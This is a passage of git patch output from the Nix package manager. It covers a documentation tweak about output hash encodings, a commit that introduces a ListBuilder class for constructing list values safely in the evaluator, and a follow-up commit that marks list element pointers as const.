encoding is an adaptation of base-32 encoding. + The [`convertHash`](@docroot@/language/builtins.md#builtins-convertHash) function shows how to convert between different encodings, and the [`nix-hash` command](../command-ref/nix-hash.md) has information about obtaining the hash for some contents, as well as converting to and from encodings. + + The `outputHashAlgo` attribute specifies the hash algorithm used to compute the hash. + It can currently be `"sha1"`, `"sha256"`, `"sha512"`, or `null`. + `outputHashAlgo` can only be `null` when `outputHash` follows the SRI format. The `outputHashMode` attribute determines how the hash is computed. It must be one of the following two values: @@ -209,11 +213,6 @@ Derivations can declare some infrequently used optional attributes. this case, the output can be anything, including a directory tree. - The `outputHash` attribute, finally, must be a string containing - the hash in either hexadecimal or base-32 notation. (See the - [`nix-hash` command](../command-ref/nix-hash.md) for information - about converting to and from base-32 notation.) - - [`__contentAddressed`]{#adv-attr-__contentAddressed} > **Warning** > This attribute is part of an [experimental feature](@docroot@/contributing/experimental-features.md). From fecff520d7ce6598319862efc50c2dc6e1f6e9d9 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Thu, 14 Mar 2024 19:10:31 +0100 Subject: [PATCH 0242/1251] Add a ListBuilder helper for constructing list values Previously, `state.mkList()` would set the type of the value to tList and allocate the list vector, but it would not initialize the values in the list. This has two problems: * If an exception occurs, the list is left in an undefined state. * More importantly, for multithreaded evaluation, if a value transitions from thunk to non-thunk, it should be final (i.e. other threads should be able to access the value safely). To address this, there now is a `ListBuilder` class (analogous to `BindingsBuilder`) to build the list vector prior to the call to `Value::mkList()`. Typical usage: auto list = state.buildList(size); for (auto & v : list) v = ... set value ...; vRes.mkList(list); --- src/libexpr/eval.cc | 24 ++-- src/libexpr/eval.hh | 12 +- src/libexpr/json-to-value.cc | 9 +- src/libexpr/primops.cc | 202 ++++++++++++++++-------------- src/libexpr/primops/context.cc | 6 +- src/libexpr/primops/fromTOML.cc | 8 +- src/libexpr/value.hh | 43 ++++++- src/nix-env/nix-env.cc | 2 +- src/nix-env/user-env.cc | 17 +-- tests/unit/libexpr/value/print.cc | 62 +++++---- 10 files changed, 228 insertions(+), 157 deletions(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index bbccfcd29..297832818 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -435,7 +435,8 @@ EvalState::EvalState( static_assert(sizeof(Env) <= 16, "environment must be <= 16 bytes"); - vEmptyList.mkList(0); + vEmptyList.mkList(buildList(0)); + vNull.mkNull(); /* Initialise the Nix expression search path. */ if (!evalSettings.pureEval) { @@ -923,12 +924,11 @@ inline Value * EvalState::lookupVar(Env * env, const ExprVar & var, bool noEval) } } -void EvalState::mkList(Value & v, size_t size) +ListBuilder::ListBuilder(EvalState & state, size_t size) + : size(size) + , elems(size <= 2 ? inlineElems : (Value * *) allocBytes(size * sizeof(Value *))) { - v.mkList(size); - if (size > 2) - v.bigList.elems = (Value * *) allocBytes(size * sizeof(Value *)); - nrListElems += size; + state.nrListElems += size; } @@ -1353,9 +1353,10 @@ void ExprLet::eval(EvalState & state, Env & env, Value & v) void ExprList::eval(EvalState & state, Env & env, Value & v) { - state.mkList(v, elems.size()); - for (auto [n, v2] : enumerate(v.listItems())) - const_cast(v2) = elems[n]->maybeThunk(state, env); + auto list = state.buildList(elems.size()); + for (const auto & [n, v2] : enumerate(list)) + v2 = elems[n]->maybeThunk(state, env); + v.mkList(list); } @@ -1963,14 +1964,15 @@ void EvalState::concatLists(Value & v, size_t nrLists, Value * * lists, const Po return; } - mkList(v, len); - auto out = v.listElems(); + auto list = buildList(len); + auto out = list.elems; for (size_t n = 0, pos = 0; n < nrLists; ++n) { auto l = lists[n]->listSize(); if (l) memcpy(out + pos, lists[n]->listElems(), l * sizeof(Value *)); pos += l; } + v.mkList(list); } diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index 368bb17b3..4a271f4ef 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -186,6 +186,11 @@ public: */ Value vEmptyList; + /** + * Null constant. + */ + Value vNull; + /** * The accessor for the root filesystem. */ @@ -615,7 +620,11 @@ public: return BindingsBuilder(*this, allocBindings(capacity)); } - void mkList(Value & v, size_t length); + ListBuilder buildList(size_t size) + { + return ListBuilder(*this, size); + } + void mkThunk_(Value & v, Expr * expr); void mkPos(Value & v, PosIdx pos); @@ -756,6 +765,7 @@ private: friend void prim_split(EvalState & state, const PosIdx pos, Value * * args, Value & v); friend struct Value; + friend class ListBuilder; }; struct DebugTraceStacker { diff --git a/src/libexpr/json-to-value.cc b/src/libexpr/json-to-value.cc index 2d12c47c5..20bee193f 100644 --- a/src/libexpr/json-to-value.cc +++ b/src/libexpr/json-to-value.cc @@ -57,11 +57,10 @@ class JSONSax : nlohmann::json_sax { ValueVector values; std::unique_ptr resolve(EvalState & state) override { - Value & v = parent->value(state); - state.mkList(v, values.size()); - for (size_t n = 0; n < values.size(); ++n) { - v.listElems()[n] = values[n]; - } + auto list = state.buildList(values.size()); + for (const auto & [n, v2] : enumerate(list)) + v2 = values[n]; + parent->value(state).mkList(list); return std::move(parent); } void add() override { diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index bc2a70496..32913d72e 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -187,13 +187,13 @@ static void import(EvalState & state, const PosIdx pos, Value & vPath, Value * v NixStringContextElem::DrvDeep { .drvPath = *storePath }, }); attrs.alloc(state.sName).mkString(drv.env["name"]); - auto & outputsVal = attrs.alloc(state.sOutputs); - state.mkList(outputsVal, drv.outputs.size()); + auto list = state.buildList(drv.outputs.size()); for (const auto & [i, o] : enumerate(drv.outputs)) { mkOutputString(state, attrs, *storePath, o); - (outputsVal.listElems()[i] = state.allocValue())->mkString(o.first); + (list[i] = state.allocValue())->mkString(o.first); } + attrs.alloc(state.sOutputs).mkList(list); auto w = state.allocValue(); w->mkAttrs(attrs); @@ -694,10 +694,10 @@ static void prim_genericClosure(EvalState & state, const PosIdx pos, Value * * a } /* Create the result list. */ - state.mkList(v, res.size()); - unsigned int n = 0; - for (auto & i : res) - v.listElems()[n++] = i; + auto list = state.buildList(res.size()); + for (const auto & [n, i] : enumerate(res)) + list[n] = i; + v.mkList(list); } static RegisterPrimOp primop_genericClosure(PrimOp { @@ -2423,14 +2423,15 @@ static void prim_attrNames(EvalState & state, const PosIdx pos, Value * * args, { state.forceAttrs(*args[0], pos, "while evaluating the argument passed to builtins.attrNames"); - state.mkList(v, args[0]->attrs->size()); + auto list = state.buildList(args[0]->attrs->size()); - size_t n = 0; - for (auto & i : *args[0]->attrs) - (v.listElems()[n++] = state.allocValue())->mkString(state.symbols[i.name]); + for (const auto & [n, i] : enumerate(*args[0]->attrs)) + (list[n] = state.allocValue())->mkString(state.symbols[i.name]); - std::sort(v.listElems(), v.listElems() + n, + std::sort(list.begin(), list.end(), [](Value * v1, Value * v2) { return strcmp(v1->c_str(), v2->c_str()) < 0; }); + + v.mkList(list); } static RegisterPrimOp primop_attrNames({ @@ -2450,21 +2451,22 @@ static void prim_attrValues(EvalState & state, const PosIdx pos, Value * * args, { state.forceAttrs(*args[0], pos, "while evaluating the argument passed to builtins.attrValues"); - state.mkList(v, args[0]->attrs->size()); + auto list = state.buildList(args[0]->attrs->size()); - unsigned int n = 0; - for (auto & i : *args[0]->attrs) - v.listElems()[n++] = (Value *) &i; + for (const auto & [n, i] : enumerate(*args[0]->attrs)) + list[n] = (Value *) &i; - std::sort(v.listElems(), v.listElems() + n, + std::sort(list.begin(), list.end(), [&](Value * v1, Value * v2) { std::string_view s1 = state.symbols[((Attr *) v1)->name], s2 = state.symbols[((Attr *) v2)->name]; return s1 < s2; }); - for (unsigned int i = 0; i < n; ++i) - v.listElems()[i] = ((Attr *) v.listElems()[i])->value; + for (auto & v : list) + v = ((Attr *) v)->value; + + v.mkList(list); } static RegisterPrimOp primop_attrValues({ @@ -2805,9 +2807,10 @@ static void prim_catAttrs(EvalState & state, const PosIdx pos, Value * * args, V res[found++] = i->value; } - state.mkList(v, found); + auto list = state.buildList(found); for (unsigned int n = 0; n < found; ++n) - v.listElems()[n] = res[n]; + list[n] = res[n]; + v.mkList(list); } static RegisterPrimOp primop_catAttrs({ @@ -2908,43 +2911,50 @@ static void prim_zipAttrsWith(EvalState & state, const PosIdx pos, Value * * arg // attribute with the merge function application. this way we need not // use (slightly slower) temporary storage the GC does not know about. - std::map> attrsSeen; + struct Item + { + size_t size = 0; + size_t pos = 0; + std::optional list; + }; + + std::map attrsSeen; state.forceFunction(*args[0], pos, "while evaluating the first argument passed to builtins.zipAttrsWith"); state.forceList(*args[1], pos, "while evaluating the second argument passed to builtins.zipAttrsWith"); - const auto listSize = args[1]->listSize(); - const auto listElems = args[1]->listElems(); + const auto listItems = args[1]->listItems(); - for (unsigned int n = 0; n < listSize; ++n) { - Value * vElem = listElems[n]; + for (auto & vElem : listItems) { state.forceAttrs(*vElem, noPos, "while evaluating a value of the list passed as second argument to builtins.zipAttrsWith"); for (auto & attr : *vElem->attrs) - attrsSeen[attr.name].first++; + attrsSeen.try_emplace(attr.name).first->second.size++; + } + + for (auto & [sym, elem] : attrsSeen) + elem.list.emplace(state.buildList(elem.size)); + + for (auto & vElem : listItems) { + for (auto & attr : *vElem->attrs) { + auto & item = attrsSeen.at(attr.name); + (*item.list)[item.pos++] = attr.value; + } } auto attrs = state.buildBindings(attrsSeen.size()); + for (auto & [sym, elem] : attrsSeen) { - auto & list = attrs.alloc(sym); - state.mkList(list, elem.first); - elem.second = list.listElems(); - } - v.mkAttrs(attrs.alreadySorted()); - - for (unsigned int n = 0; n < listSize; ++n) { - Value * vElem = listElems[n]; - for (auto & attr : *vElem->attrs) - *attrsSeen[attr.name].second++ = attr.value; - } - - for (auto & attr : *v.attrs) { auto name = state.allocValue(); - name->mkString(state.symbols[attr.name]); + name->mkString(state.symbols[sym]); auto call1 = state.allocValue(); call1->mkApp(args[0], name); auto call2 = state.allocValue(); - call2->mkApp(call1, attr.value); - attr.value = call2; + auto arg = state.allocValue(); + arg->mkList(*elem.list); + call2->mkApp(call1, arg); + attrs.insert(sym, call2); } + + v.mkAttrs(attrs.alreadySorted()); } static RegisterPrimOp primop_zipAttrsWith({ @@ -3055,9 +3065,10 @@ static void prim_tail(EvalState & state, const PosIdx pos, Value * * args, Value if (args[0]->listSize() == 0) state.error("'tail' called on an empty list").atPos(pos).debugThrow(); - state.mkList(v, args[0]->listSize() - 1); - for (unsigned int n = 0; n < v.listSize(); ++n) - v.listElems()[n] = args[0]->listElems()[n + 1]; + auto list = state.buildList(args[0]->listSize() - 1); + for (const auto & [n, v] : enumerate(list)) + v = args[0]->listElems()[n + 1]; + v.mkList(list); } static RegisterPrimOp primop_tail({ @@ -3088,10 +3099,11 @@ static void prim_map(EvalState & state, const PosIdx pos, Value * * args, Value state.forceFunction(*args[0], pos, "while evaluating the first argument passed to builtins.map"); - state.mkList(v, args[1]->listSize()); - for (unsigned int n = 0; n < v.listSize(); ++n) - (v.listElems()[n] = state.allocValue())->mkApp( + auto list = state.buildList(args[1]->listSize()); + for (const auto & [n, v] : enumerate(list)) + (v = state.allocValue())->mkApp( args[0], args[1]->listElems()[n]); + v.mkList(list); } static RegisterPrimOp primop_map({ @@ -3140,8 +3152,9 @@ static void prim_filter(EvalState & state, const PosIdx pos, Value * * args, Val if (same) v = *args[1]; else { - state.mkList(v, k); - for (unsigned int n = 0; n < k; ++n) v.listElems()[n] = vs[n]; + auto list = state.buildList(k); + for (const auto & [n, v] : enumerate(list)) v = vs[n]; + v.mkList(list); } } @@ -3316,12 +3329,13 @@ static void prim_genList(EvalState & state, const PosIdx pos, Value * * args, Va // as evaluating map without accessing any values makes little sense. state.forceFunction(*args[0], noPos, "while evaluating the first argument passed to builtins.genList"); - state.mkList(v, len); - for (unsigned int n = 0; n < (unsigned int) len; ++n) { + auto list = state.buildList(len); + for (const auto & [n, v] : enumerate(list)) { auto arg = state.allocValue(); arg->mkInt(n); - (v.listElems()[n] = state.allocValue())->mkApp(args[0], arg); + (v = state.allocValue())->mkApp(args[0], arg); } + v.mkList(list); } static RegisterPrimOp primop_genList({ @@ -3355,11 +3369,10 @@ static void prim_sort(EvalState & state, const PosIdx pos, Value * * args, Value state.forceFunction(*args[0], pos, "while evaluating the first argument passed to builtins.sort"); - state.mkList(v, len); - for (unsigned int n = 0; n < len; ++n) { - state.forceValue(*args[1]->listElems()[n], pos); - v.listElems()[n] = args[1]->listElems()[n]; - } + auto list = state.buildList(len); + for (const auto & [n, v] : enumerate(list)) + state.forceValue(*(v = args[1]->listElems()[n]), pos); + v.mkList(list); auto comparator = [&](Value * a, Value * b) { /* Optimization: if the comparator is lessThan, bypass @@ -3424,17 +3437,17 @@ static void prim_partition(EvalState & state, const PosIdx pos, Value * * args, auto attrs = state.buildBindings(2); - auto & vRight = attrs.alloc(state.sRight); auto rsize = right.size(); - state.mkList(vRight, rsize); + auto rlist = state.buildList(rsize); if (rsize) - memcpy(vRight.listElems(), right.data(), sizeof(Value *) * rsize); + memcpy(rlist.elems, right.data(), sizeof(Value *) * rsize); + attrs.alloc(state.sRight).mkList(rlist); - auto & vWrong = attrs.alloc(state.sWrong); auto wsize = wrong.size(); - state.mkList(vWrong, wsize); + auto wlist = state.buildList(wsize); if (wsize) - memcpy(vWrong.listElems(), wrong.data(), sizeof(Value *) * wsize); + memcpy(wlist.elems, wrong.data(), sizeof(Value *) * wsize); + attrs.alloc(state.sWrong).mkList(wlist); v.mkAttrs(attrs); } @@ -3481,10 +3494,10 @@ static void prim_groupBy(EvalState & state, const PosIdx pos, Value * * args, Va auto attrs2 = state.buildBindings(attrs.size()); for (auto & i : attrs) { - auto & list = attrs2.alloc(i.first); auto size = i.second.size(); - state.mkList(list, size); - memcpy(list.listElems(), i.second.data(), sizeof(Value *) * size); + auto list = state.buildList(size); + memcpy(list.elems, i.second.data(), sizeof(Value *) * size); + attrs2.alloc(i.first).mkList(list); } v.mkAttrs(attrs2.alreadySorted()); @@ -3531,14 +3544,15 @@ static void prim_concatMap(EvalState & state, const PosIdx pos, Value * * args, len += lists[n].listSize(); } - state.mkList(v, len); - auto out = v.listElems(); + auto list = state.buildList(len); + auto out = list.elems; for (unsigned int n = 0, pos = 0; n < nrLists; ++n) { auto l = lists[n].listSize(); if (l) memcpy(out + pos, lists[n].listElems(), l * sizeof(Value *)); pos += l; } + v.mkList(list); } static RegisterPrimOp primop_concatMap({ @@ -3986,14 +4000,13 @@ void prim_match(EvalState & state, const PosIdx pos, Value * * args, Value & v) } // the first match is the whole string - const size_t len = match.size() - 1; - state.mkList(v, len); - for (size_t i = 0; i < len; ++i) { - if (!match[i+1].matched) - (v.listElems()[i] = state.allocValue())->mkNull(); + auto list = state.buildList(match.size() - 1); + for (const auto & [i, v2] : enumerate(list)) + if (!match[i + 1].matched) + (v2 = state.allocValue())->mkNull(); else - (v.listElems()[i] = state.allocValue())->mkString(match[i + 1].str()); - } + (v2 = state.allocValue())->mkString(match[i + 1].str()); + v.mkList(list); } catch (std::regex_error & e) { if (e.code() == std::regex_constants::error_space) { @@ -4062,11 +4075,12 @@ void prim_split(EvalState & state, const PosIdx pos, Value * * args, Value & v) // Any matches results are surrounded by non-matching results. const size_t len = std::distance(begin, end); - state.mkList(v, 2 * len + 1); + auto list = state.buildList(2 * len + 1); size_t idx = 0; if (len == 0) { - v.listElems()[idx++] = args[1]; + list[0] = args[1]; + v.mkList(list); return; } @@ -4075,28 +4089,31 @@ void prim_split(EvalState & state, const PosIdx pos, Value * * args, Value & v) auto match = *i; // Add a string for non-matched characters. - (v.listElems()[idx++] = state.allocValue())->mkString(match.prefix().str()); + (list[idx++] = state.allocValue())->mkString(match.prefix().str()); // Add a list for matched substrings. const size_t slen = match.size() - 1; - auto elem = v.listElems()[idx++] = state.allocValue(); // Start at 1, beacause the first match is the whole string. - state.mkList(*elem, slen); - for (size_t si = 0; si < slen; ++si) { + auto list2 = state.buildList(slen); + for (const auto & [si, v2] : enumerate(list2)) { if (!match[si + 1].matched) - (elem->listElems()[si] = state.allocValue())->mkNull(); + v2 = &state.vNull; else - (elem->listElems()[si] = state.allocValue())->mkString(match[si + 1].str()); + (v2 = state.allocValue())->mkString(match[si + 1].str()); } + (list[idx++] = state.allocValue())->mkList(list2); + // Add a string for non-matched suffix characters. if (idx == 2 * len) - (v.listElems()[idx++] = state.allocValue())->mkString(match.suffix().str()); + (list[idx++] = state.allocValue())->mkString(match.suffix().str()); } assert(idx == 2 * len + 1); + v.mkList(list); + } catch (std::regex_error & e) { if (e.code() == std::regex_constants::error_space) { // limit is _GLIBCXX_REGEX_STATE_LIMIT for libstdc++ @@ -4316,9 +4333,10 @@ static void prim_splitVersion(EvalState & state, const PosIdx pos, Value * * arg break; components.emplace_back(component); } - state.mkList(v, components.size()); + auto list = state.buildList(components.size()); for (const auto & [n, component] : enumerate(components)) - (v.listElems()[n] = state.allocValue())->mkString(std::move(component)); + (list[n] = state.allocValue())->mkString(std::move(component)); + v.mkList(list); } static RegisterPrimOp primop_splitVersion({ @@ -4559,14 +4577,14 @@ void EvalState::createBaseEnv() }); /* Add a value containing the current Nix expression search path. */ - mkList(v, searchPath.elements.size()); - int n = 0; - for (auto & i : searchPath.elements) { + auto list = buildList(searchPath.elements.size()); + for (const auto & [n, i] : enumerate(searchPath.elements)) { auto attrs = buildBindings(2); attrs.alloc("path").mkString(i.path.s); attrs.alloc("prefix").mkString(i.prefix.s); - (v.listElems()[n++] = allocValue())->mkAttrs(attrs); + (list[n] = allocValue())->mkAttrs(attrs); } + v.mkList(list); addConstant("__nixPath", v, { .type = nList, .doc = R"( diff --git a/src/libexpr/primops/context.cc b/src/libexpr/primops/context.cc index 1eec8b316..4d000b2ce 100644 --- a/src/libexpr/primops/context.cc +++ b/src/libexpr/primops/context.cc @@ -207,10 +207,10 @@ static void prim_getContext(EvalState & state, const PosIdx pos, Value * * args, if (info.second.allOutputs) infoAttrs.alloc(sAllOutputs).mkBool(true); if (!info.second.outputs.empty()) { - auto & outputsVal = infoAttrs.alloc(state.sOutputs); - state.mkList(outputsVal, info.second.outputs.size()); + auto list = state.buildList(info.second.outputs.size()); for (const auto & [i, output] : enumerate(info.second.outputs)) - (outputsVal.listElems()[i] = state.allocValue())->mkString(output); + (list[i] = state.allocValue())->mkString(output); + infoAttrs.alloc(state.sOutputs).mkList(list); } attrs.alloc(state.store->printStorePath(info.first)).mkAttrs(infoAttrs); } diff --git a/src/libexpr/primops/fromTOML.cc b/src/libexpr/primops/fromTOML.cc index 94be7960a..9bee8ca38 100644 --- a/src/libexpr/primops/fromTOML.cc +++ b/src/libexpr/primops/fromTOML.cc @@ -38,10 +38,10 @@ static void prim_fromTOML(EvalState & state, const PosIdx pos, Value * * args, V { auto array = toml::get>(t); - size_t size = array.size(); - state.mkList(v, size); - for (size_t i = 0; i < size; ++i) - visit(*(v.listElems()[i] = state.allocValue()), array[i]); + auto list = state.buildList(array.size()); + for (const auto & [n, v] : enumerate(list)) + visit(*(v = state.allocValue()), array[n]); + v.mkList(list); } break;; case toml::value_t::boolean: diff --git a/src/libexpr/value.hh b/src/libexpr/value.hh index e7aea4949..9f0600efb 100644 --- a/src/libexpr/value.hh +++ b/src/libexpr/value.hh @@ -18,6 +18,7 @@ namespace nix { +struct Value; class BindingsBuilder; @@ -134,6 +135,34 @@ class ExternalValueBase std::ostream & operator << (std::ostream & str, const ExternalValueBase & v); +class ListBuilder +{ + const size_t size; + Value * inlineElems[2] = {nullptr, nullptr}; +public: + Value * * elems; + ListBuilder(EvalState & state, size_t size); + + ListBuilder(ListBuilder && x) + : size(x.size) + , inlineElems{x.inlineElems[0], x.inlineElems[1]} + , elems(size <= 2 ? inlineElems : x.elems) + { } + + Value * & operator [](size_t n) + { + return elems[n]; + } + + typedef Value * * iterator; + + iterator begin() { return &elems[0]; } + iterator end() { return &elems[size]; } + + friend class Value; +}; + + struct Value { private: @@ -323,16 +352,20 @@ public: Value & mkAttrs(BindingsBuilder & bindings); - inline void mkList(size_t size) + void mkList(const ListBuilder & builder) { clearValue(); - if (size == 1) + if (builder.size == 1) { + smallList[0] = builder.inlineElems[0]; internalType = tList1; - else if (size == 2) + } else if (builder.size == 2) { + smallList[0] = builder.inlineElems[0]; + smallList[1] = builder.inlineElems[1]; internalType = tList2; - else { + } else { + bigList.size = builder.size; + bigList.elems = builder.elems; internalType = tListN; - bigList.size = size; } } diff --git a/src/nix-env/nix-env.cc b/src/nix-env/nix-env.cc index 5e3de20c5..f79755375 100644 --- a/src/nix-env/nix-env.cc +++ b/src/nix-env/nix-env.cc @@ -172,7 +172,7 @@ static void loadSourceExpr(EvalState & state, const SourcePath & path, Value & v directory). */ else if (st.type == InputAccessor::tDirectory) { auto attrs = state.buildBindings(maxAttrs); - state.mkList(attrs.alloc("_combineChannels"), 0); + attrs.insert(state.symbols.create("_combineChannels"), &state.vEmptyList); StringSet seen; getAllExprs(state, path, seen, attrs); v.mkAttrs(attrs); diff --git a/src/nix-env/user-env.cc b/src/nix-env/user-env.cc index 8bebe2b9e..dd27344aa 100644 --- a/src/nix-env/user-env.cc +++ b/src/nix-env/user-env.cc @@ -49,10 +49,8 @@ bool createUserEnv(EvalState & state, PackageInfos & elems, /* Construct the whole top level derivation. */ StorePathSet references; - Value manifest; - state.mkList(manifest, elems.size()); - size_t n = 0; - for (auto & i : elems) { + auto list = state.buildList(elems.size()); + for (const auto & [n, i] : enumerate(elems)) { /* Create a pseudo-derivation containing the name, system, output paths, and optionally the derivation path, as well as the meta attributes. */ @@ -72,10 +70,9 @@ bool createUserEnv(EvalState & state, PackageInfos & elems, attrs.alloc(state.sDrvPath).mkString(state.store->printStorePath(*drvPath)); // Copy each output meant for installation. - auto & vOutputs = attrs.alloc(state.sOutputs); - state.mkList(vOutputs, outputs.size()); + auto outputsList = state.buildList(outputs.size()); for (const auto & [m, j] : enumerate(outputs)) { - (vOutputs.listElems()[m] = state.allocValue())->mkString(j.first); + (outputsList[m] = state.allocValue())->mkString(j.first); auto outputAttrs = state.buildBindings(2); outputAttrs.alloc(state.sOutPath).mkString(state.store->printStorePath(*j.second)); attrs.alloc(j.first).mkAttrs(outputAttrs); @@ -87,6 +84,7 @@ bool createUserEnv(EvalState & state, PackageInfos & elems, references.insert(*j.second); } + attrs.alloc(state.sOutputs).mkList(outputsList); // Copy the meta attributes. auto meta = state.buildBindings(metaNames.size()); @@ -98,11 +96,14 @@ bool createUserEnv(EvalState & state, PackageInfos & elems, attrs.alloc(state.sMeta).mkAttrs(meta); - (manifest.listElems()[n++] = state.allocValue())->mkAttrs(attrs); + (list[n] = state.allocValue())->mkAttrs(attrs); if (drvPath) references.insert(*drvPath); } + Value manifest; + manifest.mkList(list); + /* Also write a copy of the list of user environment elements to the store; we need it for future modifications of the environment. */ diff --git a/tests/unit/libexpr/value/print.cc b/tests/unit/libexpr/value/print.cc index d2d699a64..43b545035 100644 --- a/tests/unit/libexpr/value/print.cc +++ b/tests/unit/libexpr/value/print.cc @@ -79,11 +79,11 @@ TEST_F(ValuePrintingTests, tList) Value vTwo; vTwo.mkInt(2); + auto list = state.buildList(3); + list.elems[0] = &vOne; + list.elems[1] = &vTwo; Value vList; - state.mkList(vList, 5); - vList.bigList.elems[0] = &vOne; - vList.bigList.elems[1] = &vTwo; - vList.bigList.size = 3; + vList.mkList(list); test(vList, "[ 1 2 «nullptr» ]"); } @@ -249,12 +249,12 @@ TEST_F(ValuePrintingTests, depthList) Value vNested; vNested.mkAttrs(builder2.finish()); + auto list = state.buildList(3); + list.elems[0] = &vOne; + list.elems[1] = &vTwo; + list.elems[2] = &vNested; Value vList; - state.mkList(vList, 5); - vList.bigList.elems[0] = &vOne; - vList.bigList.elems[1] = &vTwo; - vList.bigList.elems[2] = &vNested; - vList.bigList.size = 3; + vList.mkList(list); test(vList, "[ 1 2 { ... } ]", PrintOptions { .maxDepth = 1 }); test(vList, "[ 1 2 { nested = { ... }; one = 1; two = 2; } ]", PrintOptions { .maxDepth = 2 }); @@ -539,11 +539,11 @@ TEST_F(ValuePrintingTests, ansiColorsList) Value vTwo; vTwo.mkInt(2); + auto list = state.buildList(3); + list.elems[0] = &vOne; + list.elems[1] = &vTwo; Value vList; - state.mkList(vList, 5); - vList.bigList.elems[0] = &vOne; - vList.bigList.elems[1] = &vTwo; - vList.bigList.size = 3; + vList.mkList(list); test(vList, "[ " ANSI_CYAN "1" ANSI_NORMAL " " ANSI_CYAN "2" ANSI_NORMAL " " ANSI_MAGENTA "«nullptr»" ANSI_NORMAL " ]", @@ -670,11 +670,11 @@ TEST_F(ValuePrintingTests, ansiColorsListRepeated) Value vEmpty; vEmpty.mkAttrs(emptyBuilder.finish()); + auto list = state.buildList(2); + list.elems[0] = &vEmpty; + list.elems[1] = &vEmpty; Value vList; - state.mkList(vList, 3); - vList.bigList.elems[0] = &vEmpty; - vList.bigList.elems[1] = &vEmpty; - vList.bigList.size = 2; + vList.mkList(list); test(vList, "[ { } " ANSI_MAGENTA "«repeated»" ANSI_NORMAL " ]", @@ -690,11 +690,11 @@ TEST_F(ValuePrintingTests, listRepeated) Value vEmpty; vEmpty.mkAttrs(emptyBuilder.finish()); + auto list = state.buildList(2); + list.elems[0] = &vEmpty; + list.elems[1] = &vEmpty; Value vList; - state.mkList(vList, 3); - vList.bigList.elems[0] = &vEmpty; - vList.bigList.elems[1] = &vEmpty; - vList.bigList.size = 2; + vList.mkList(list); test(vList, "[ { } «repeated» ]", PrintOptions { }); test(vList, @@ -750,11 +750,12 @@ TEST_F(ValuePrintingTests, ansiColorsListElided) Value vTwo; vTwo.mkInt(2); + { + auto list = state.buildList(2); + list.elems[0] = &vOne; + list.elems[1] = &vTwo; Value vList; - state.mkList(vList, 4); - vList.bigList.elems[0] = &vOne; - vList.bigList.elems[1] = &vTwo; - vList.bigList.size = 2; + vList.mkList(list); test(vList, "[ " ANSI_CYAN "1" ANSI_NORMAL " " ANSI_FAINT "«1 item elided»" ANSI_NORMAL " ]", @@ -762,12 +763,18 @@ TEST_F(ValuePrintingTests, ansiColorsListElided) .ansiColors = true, .maxListItems = 1 }); + } Value vThree; vThree.mkInt(3); - vList.bigList.elems[2] = &vThree; - vList.bigList.size = 3; + { + auto list = state.buildList(3); + list.elems[0] = &vOne; + list.elems[1] = &vTwo; + list.elems[2] = &vThree; + Value vList; + vList.mkList(list); test(vList, "[ " ANSI_CYAN "1" ANSI_NORMAL " " ANSI_FAINT "«2 items elided»" ANSI_NORMAL " ]", @@ -775,6 +782,7 @@ TEST_F(ValuePrintingTests, ansiColorsListElided) .ansiColors = true, .maxListItems = 1 }); + } } } // namespace nix From 3e6730ee62b10acff12e7dd66e1269d7a9da7a21 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 15 Mar 2024 18:22:39 +0100 Subject: [PATCH 0243/1251] Mark Value pointers in Value::elems as const This catches modification of finalized values (e.g. in prim_sort). --- src/libexpr/eval.cc | 2 +- src/libexpr/eval.hh | 2 +- src/libexpr/primops.cc | 5 +++-- src/libexpr/value.hh | 4 ++-- 4 files changed, 7 insertions(+), 6 deletions(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 297832818..fb4cfdccf 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -1946,7 +1946,7 @@ void ExprOpConcatLists::eval(EvalState & state, Env & env, Value & v) } -void EvalState::concatLists(Value & v, size_t nrLists, Value * * lists, const PosIdx pos, std::string_view errorCtx) +void EvalState::concatLists(Value & v, size_t nrLists, Value * const * lists, const PosIdx pos, std::string_view errorCtx) { nrListConcats++; diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index 4a271f4ef..7db911fce 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -671,7 +671,7 @@ public: const SingleDerivedPath & p, Value & v); - void concatLists(Value & v, size_t nrLists, Value * * lists, const PosIdx pos, std::string_view errorCtx); + void concatLists(Value & v, size_t nrLists, Value * const * lists, const PosIdx pos, std::string_view errorCtx); /** * Print statistics, if enabled. diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 32913d72e..9449a8f7c 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -3372,7 +3372,6 @@ static void prim_sort(EvalState & state, const PosIdx pos, Value * * args, Value auto list = state.buildList(len); for (const auto & [n, v] : enumerate(list)) state.forceValue(*(v = args[1]->listElems()[n]), pos); - v.mkList(list); auto comparator = [&](Value * a, Value * b) { /* Optimization: if the comparator is lessThan, bypass @@ -3391,7 +3390,9 @@ static void prim_sort(EvalState & state, const PosIdx pos, Value * * args, Value /* FIXME: std::sort can segfault if the comparator is not a strict weak ordering. What to do? std::stable_sort() seems more resilient, but no guarantees... */ - std::stable_sort(v.listElems(), v.listElems() + len, comparator); + std::stable_sort(list.begin(), list.end(), comparator); + + v.mkList(list); } static RegisterPrimOp primop_sort({ diff --git a/src/libexpr/value.hh b/src/libexpr/value.hh index 9f0600efb..885621cf5 100644 --- a/src/libexpr/value.hh +++ b/src/libexpr/value.hh @@ -246,7 +246,7 @@ public: Bindings * attrs; struct { size_t size; - Value * * elems; + Value * const * elems; } bigList; Value * smallList[2]; ClosureThunk thunk; @@ -425,7 +425,7 @@ public: return internalType == tList1 || internalType == tList2 || internalType == tListN; } - Value * * listElems() + Value * const * listElems() { return internalType == tList1 || internalType == tList2 ? smallList : bigList.elems; } From 39b0b8452f79e710b65b363663491fc17bb04a25 Mon Sep 17 00:00:00 2001 From: Yueh-Shun Li Date: Sun, 17 Mar 2024 06:13:14 +0800 Subject: [PATCH 0244/1251] doc: builtins.addDrvOutputDependencies: fix link target --- src/libexpr/primops/context.cc | 2 +- 1 